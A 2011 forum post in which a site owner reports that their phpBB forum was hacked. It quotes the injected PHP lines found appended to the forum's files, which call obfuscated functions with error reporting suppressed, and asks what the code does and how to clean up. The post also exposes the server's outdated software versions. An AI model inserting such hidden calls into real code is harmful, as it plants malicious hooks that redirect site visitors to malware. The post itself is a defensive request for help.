by Quiff Boy » October 19th 2011, 10:02 am 
it has a few hacks such as xs-style and phpFetchAll, and fairly low traffic so to be honest i've never really done much to it
recently it seems to have been hacked, however
all the php files in the forum root have code like this added to the bottom somehow:
- Code: Select all
<?php echo "\n"; @__sfd1214476411__(); ?> <?php echo "\n"; @__sfd1214578526__(); ?> <?php echo "\n"; @__sfd1214585937__(); ?> <?php echo "\n"; @__sfd1214920973__(); ?> <?php echo "\n"; @__sfd1214945203__(); ?> <?php echo "\n"; @__sfd1215291671__(); ?> <?php echo "\n"; @__sfd1215294373__(); ?> <?php echo "\n"; @__sfd1215531844__(); ?> <?php echo "\n"; @__sfd1215534407__(); ?> <?php echo "\n"; @__sfd1215703566__(); ?> <?php echo "\n"; @__sfd1215873644__(); ?> <?php echo "\n"; @__sfd1215875163__(); ?> <?php echo "\n"; @__sfd1216145355__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216242515__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216260003__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216475749__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216477575__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216677986__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216679752__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216892086__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216915712__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1216918006__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1217366459__(); ?> <?php error_reporting(0); echo "\n"; @__sfd1217368134__(); ?>
which causes pages within the forum section, and any pages powered by phpfetchall to redirect to a russian malware site
i've been through and removed all that injected code, but my worries are:
1) what the hell is that code doing?
2) how did they inject it into the core phpBB files?
3) by removing all that from the core phpBB files, have i indeed cleaned it up, or is there something else buried deep within an include that might allow them back into the server to re-inject?
one of the problems i face is that it's running an old version of php, and it's not my hosting to update. i merely uploaded a site to a friend's hosting
here's the phpinfo() if that helps debug?
http://ghostdance.co.uk/info.php
key details i think are:
Apache/1.3.27 (Unix) (Red-Hat/Linux) Sun-ONE-ASP/4.0.0 FrontPage/5.0.2.2623 mod_jk/1.2.2 mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.4.7
has anyone come across this before?
